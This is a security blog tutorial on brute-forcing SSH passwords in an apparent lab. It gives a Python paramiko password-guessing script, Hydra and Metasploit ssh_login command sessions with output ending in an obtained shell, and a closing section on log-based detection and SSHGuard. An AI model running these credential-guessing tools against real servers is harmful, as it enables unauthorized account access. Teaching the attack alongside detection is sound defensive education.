01- SSH Brute Force Password Attacks

Suppose that you have a server that you administer remotely with SSH, with access protected by an account name and a strong password. How might an attacker proceed?

The simplest approach is a brute force attack, where the attacker simply tries account names and passwords, one after another. Finding a list of account names (or likely account names) is something that can often be accomplished via a bit of social engineering. For example, an attacker might start by trying using the email addresses as the account names on the system.

The attacker also needs to find a list of potential passwords. Unfortunately for those of us charged with defending systems, these sorts of word lists are commonly available. For example, the folks over at Skull Security have a large number of dictionaries and wordlists for this purpose; they also have lists of passwords that have been hacked in previous attacks, including the enormous password list from the 2009 RockYou.com attack.

With these in hand, it is actually quite simple to write our own brute-force password attack program. As a crude example, consider the following bit of Python:

#!/usr/bin/python

import paramiko
import sys

client = paramiko.SSHClient()
client.load_system_host_keys()

remote_host = 'trantor.cosc.tu'
username = 'snovi'
passwords = ['password','password2@','password3#','password1!']

for password in passwords:
   try:
      client.connect(hostname=remote_host, username=username, password=password)
      print "Success; password is: " + password
      sys.exit(0)      
   except paramiko.AuthenticationException:
      continue

print "Unable to find correct password"

This uses the paramiko Python library for SSH connections. It tries to authenticate to an SSH server located at the host trantor.cosc.tu using the single account name snovi and four possible passwords. With this as a basis, it is simple to roll your own, more sophisticated tool.

Of course, why would we want to work that hard?

One commonly used tool for brute force password attacks against a variety of services is THC-Hydra. This tool is already present in the (now) current version of Backtrack (Backtrack 5, R3). To use it, let us suppose that the list of user account names is in the file /root/Users and the list of passwords to try is in the file /root/Passwords. Then from the command line we run

root@bt:~# hydra trantor.cosc.tu ssh -L /root/Users -P /root/Passwords 
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2012-11-02 22:46:33
[DATA] 16 tasks, 1 server, 10001 login tries (l:1/p:10001), ~625 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 266.00 tries/min, 266 tries in 00:01h, 9735 todo in 00:37h, 16 active
[STATUS] 253.67 tries/min, 761 tries in 00:03h, 9240 todo in 00:37h, 16 active
[22][ssh] host: 10.0.2.3   login: jtwer   password: P1#unbored
[STATUS] attack finished for trantor.cosc.tu (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2012-11-02 22:50:36

Another common attack tool is Metasploit. Most folks are introduced to Metasploit because of the various exploit modules it contains. However, Metasploit can be happily used as a brute force SSH attack tool with the module auxiliary/scanner/ssh/ssh_login. Let us illustrate its use by attacking the same server as we did above; recall the list of user account names is in the file /root/Users and the list of passwords to try is in the file /root/Passwords.

root@bt:~# msfconsole
msf > use auxiliary/scanner/ssh/ssh_login
msf  auxiliary(ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for all 
                                                  users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 
                                                  0 to 5
   PASSWORD                           no        A specific password to 
                                                   authenticate with
   PASS_FILE                          no        File containing passwords, one 
                                                   per line
   RHOSTS                             yes       The target address range or 
                                                   CIDR identifier
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a 
                                                   credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to 
                                                    authenticate as
   USERPASS_FILE                      no        File containing users and 
                                                    passwords separated by 
                                                    space, one pair per line
   USER_AS_PASS      true             no        Try the username as the 
                                                    password for all users
   USER_FILE                          no        File containing usernames, one 
                                                    per line
   VERBOSE           true             yes       Whether to print output for 
                                                    all attempts

All we need to do now is to set the options as we need them; in particular we need to set the target (RHOSTS), the password file (PASS_FILE) and the file of user names (USER_FILE).

msf  auxiliary(ssh_login) > set user_file /root/Users
user_file => /root/Users
msf  auxiliary(ssh_login) > set pass_file /root/Passwords
pass_file => /root/Passwords
msf  auxiliary(ssh_login) > set rhosts 10.0.2.3
rhosts => 10.0.2.3
msf  auxiliary(ssh_login) > set stop_on_success true
stop_on_success => true

Here, for simplicity we told Metasploit to stop trying accounts once it is successful.

Because this is an auxiliary module (rather than an exploit module), we run it:

msf  auxiliary(ssh_login) > run

[*] 10.0.2.3:22 SSH - Starting bruteforce
[*] 10.0.2.3:22 SSH - [0001/9910] - Trying: username: 'jtwer' with 
password: ''
[-] 10.0.2.3:22 SSH - [0001/9910] - Failed: 'jtwer':''
[*] 10.0.2.3:22 SSH - [0002/9910] - Trying: username: 'jtwer' with 
password: 'jtwer'
[-] 10.0.2.3:22 SSH - [0002/9910] - Failed: 'jtwer':'jtwer'
[*] 10.0.2.3:22 SSH - [0003/9910] - Trying: username: 'jtwer' with 
password: 'P1#chiccories'
[-] 10.0.2.3:22 SSH - [0003/9910] - Failed: 'jtwer':'P1#chiccories'
[*] 10.0.2.3:22 SSH - [0004/9910] - Trying: username: 'jtwer' with 
password: 'P1#constriction'
[-] 10.0.2.3:22 SSH - [0004/9910] - Failed: 'jtwer':'P1#constriction'

Because we left the verbose setting on, you will see quite a lot of this go by, but if the password is in the list, then we will eventually be presented with our shell:

[*] 10.0.2.3:22 SSH - [0988/9910] - Trying: username: 'jtwer' with 
password: 'P1#venireman'
[-] 10.0.2.3:22 SSH - [0988/9910] - Failed: 'jtwer':'P1#venireman'
[*] 10.0.2.3:22 SSH - [0989/9910] - Trying: username: 'jtwer' with 
password: 'P1#unbored'
[*] Command shell session 1 opened (10.0.2.200:44846 -> 10.0.2.3:22) 
at 2012-11-02 21:24:04 -0400
[+] 10.0.2.3:22 SSH - [0989/9910] - Success: 'jtwer':'P1#unbored' 
'uid=541(jtwer) gid=541(jtwer) groups=541(jtwer) 
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 
Linux trantor.cosc.tu 2.6.32-279.11.1.el6.x86_64 #1 SMP Tue 
Oct 16 15:57:10 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(ssh_login) > sessions -l

Active sessions
===============

  Id  Type         Information            Connection
  --  ----         -----------            ----------
  1   shell linux  SSH jtwer:P1#unbored   10.0.2.200:44846 -> 10.0.2.3:22
                       (10.0.2.3:22)         (10.0.2.3)

msf  auxiliary(ssh_login) > sessions -i 1
[*] Starting interaction with 1...


whoami
jtwer

Notice that the shell so provided is not as nice or clean as, say a nice bash shell, but hey- we have the account and password and the ability to execute code- let’s not worry about the fact that it does not provide a command prompt!

It should be noted that, in my simple test above, that Hydra was dramatically faster than Metasploit, but YMMV.

Detection and Defense

Generally, detecting a brute force attack on your SSH server is as simple as looking through your logs for lots (and lots) of failed login attempts in rapid succession. For example, here is what the log /var/log/secure looks like for our friend trantor.cosc.tu (a CentOS 6.2 system) during the Hydra attack above:

[root@trantor ~]# tail -n50 /var/log/secure
Nov  2 19:50:02 trantor sshd[12479]: PAM 5 more authentication failures; 
logname= uid=0 euid=0 tty=ssh ruser= rhost=10.0.2.200  user=jtwer
Nov  2 19:50:02 trantor sshd[12479]: PAM service(sshd) ignoring max 
retries; 6 > 3
Nov  2 19:50:02 trantor sshd[12464]: Failed password for jtwer from 
10.0.2.200 port 40142 ssh2
Nov  2 19:50:02 trantor sshd[12465]: Disconnecting: Too many authentication
failures for jtwer
Nov  2 19:50:02 trantor sshd[12464]: PAM 5 more authentication failures; 
logname= uid=0 euid=0 tty=ssh ruser= rhost=10.0.2.200  user=jtwer
Nov  2 19:50:02 trantor sshd[12464]: PAM service(sshd) ignoring max retries; 
6 > 3
Nov  2 19:50:02 trantor unix_chkpwd[12562]: password check failed for user 
(jtwer)
Nov  2 19:50:02 trantor sshd[12558]: pam_unix(sshd:auth): authentication 
failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.0.2.200  user=jtwer
Nov  2 19:50:02 trantor sshd[12466]: Failed password for jtwer from 
10.0.2.200 port 40210 ssh2
Nov  2 19:50:02 trantor sshd[12467]: Disconnecting: Too many authentication 
failures for jtwer
Nov  2 19:50:02 trantor sshd[12466]: PAM 5 more authentication failures; 
logname= uid=0 euid=0 tty=ssh ruser= rhost=10.0.2.200  user=jtwer
Nov  2 19:50:02 trantor sshd[12466]: PAM service(sshd) ignoring max 
retries; 6 > 3
Nov  2 19:50:02 trantor unix_chkpwd[12565]: password check failed for 
user (jtwer)
Nov  2 19:50:02 trantor sshd[12560]: pam_unix(sshd:auth): authentication 
failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.0.2.200  
user=jtwer
Nov  2 19:50:02 trantor sshd[12528]: Failed password for jtwer from 
10.0.2.200 port 59180 ssh2
Nov  2 19:50:02 trantor unix_chkpwd[12566]: password check failed 
for user (jtwer)
Nov  2 19:50:02 trantor sshd[12563]: pam_unix(sshd:auth): authentication 
failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.0.2.200  
user=jtwer
Nov  2 19:50:02 trantor unix_chkpwd[12567]: password check failed for 
user (jtwer)
Nov  2 19:50:02 trantor sshd[12531]: Failed password for jtwer from 
10.0.2.200 port 60024 ssh2
Nov  2 19:50:02 trantor sshd[12518]: Failed password for jtwer from 
10.0.2.200 port 56650 ssh2
Nov  2 19:50:02 trantor sshd[12517]: Failed password for jtwer from 
10.0.2.200 port 56642 ssh2
Nov  2 19:50:02 trantor sshd[12533]: Failed password for jtwer from 
10.0.2.200 port 60102 ssh2
Nov  2 19:50:02 trantor unix_chkpwd[12570]: password check failed for 
user (jtwer)
Nov  2 19:50:02 trantor unix_chkpwd[12569]: password check failed for 
user (jtwer)
Nov  2 19:50:03 trantor unix_chkpwd[12568]: password check failed for 
user (jtwer)
Nov  2 19:50:03 trantor unix_chkpwd[12571]: password check failed for 
user (jtwer)
Nov  2 19:50:04 trantor sshd[12549]: Failed password for jtwer from 
10.0.2.200 port 37366 ssh2
Nov  2 19:50:04 trantor sshd[12550]: Failed password for jtwer from 
10.0.2.200 port 37367 ssh2
Nov  2 19:50:04 trantor unix_chkpwd[12573]: password check failed for 
user (jtwer)
Nov  2 19:50:04 trantor unix_chkpwd[12574]: password check failed for 
user (jtwer)
Nov  2 19:50:04 trantor sshd[12558]: Failed password for jtwer from 
10.0.2.200 port 38298 ssh2
Nov  2 19:50:05 trantor unix_chkpwd[12575]: password check failed for 
user (jtwer)
Nov  2 19:50:05 trantor sshd[12560]: Failed password for jtwer from 
10.0.2.200 port 38462 ssh2
Nov  2 19:50:05 trantor unix_chkpwd[12576]: password check failed for 
user (jtwer)
Nov  2 19:50:05 trantor sshd[12563]: Failed password for jtwer from 
10.0.2.200 port 38641 ssh2
Nov  2 19:50:05 trantor sshd[12528]: Failed password for jtwer from 
10.0.2.200 port 59180 ssh2
Nov  2 19:50:05 trantor unix_chkpwd[12577]: password check failed for 
user (jtwer)
Nov  2 19:50:05 trantor unix_chkpwd[12578]: password check failed for 
user (jtwer)
Nov  2 19:50:05 trantor sshd[12531]: Failed password for jtwer from 
10.0.2.200 port 60024 ssh2
Nov  2 19:50:05 trantor sshd[12517]: Failed password for jtwer from 
10.0.2.200 port 56642 ssh2
Nov  2 19:50:05 trantor sshd[12518]: Failed password for jtwer from 
10.0.2.200 port 56650 ssh2
Nov  2 19:50:05 trantor sshd[12533]: Failed password for jtwer from 
10.0.2.200 port 60102 ssh2
Nov  2 19:50:05 trantor unix_chkpwd[12580]: password check failed for 
user (jtwer)
Nov  2 19:50:05 trantor unix_chkpwd[12579]: password check failed for 
user (jtwer)
Nov  2 19:50:05 trantor unix_chkpwd[12581]: password check failed for 
user (jtwer)
Nov  2 19:50:05 trantor unix_chkpwd[12582]: password check failed for 
user (jtwer)
Nov  2 19:50:06 trantor sshd[12549]: Failed password for jtwer from 
10.0.2.200 port 37366 ssh2
Nov  2 19:50:06 trantor sshd[12550]: Failed password for jtwer from 
10.0.2.200 port 37367 ssh2
Nov  2 19:50:06 trantor unix_chkpwd[12583]: password check failed for 
user (jtwer)
Nov  2 19:50:06 trantor unix_chkpwd[12584]: password check failed for 
user (jtwer)

Notice that all fifty of these entries were generated in just five seconds. Mr. subtle, this is not.

One tool that you can use to defend against these types of brute-force attacks on your SSH server is SSH Guard. If this tool detects a brute force password attack on your server, it can modify the corresponding firewall rule sets to limit or block the attack.

  1. No comments yet.
  1. No trackbacks yet.

Leave a comment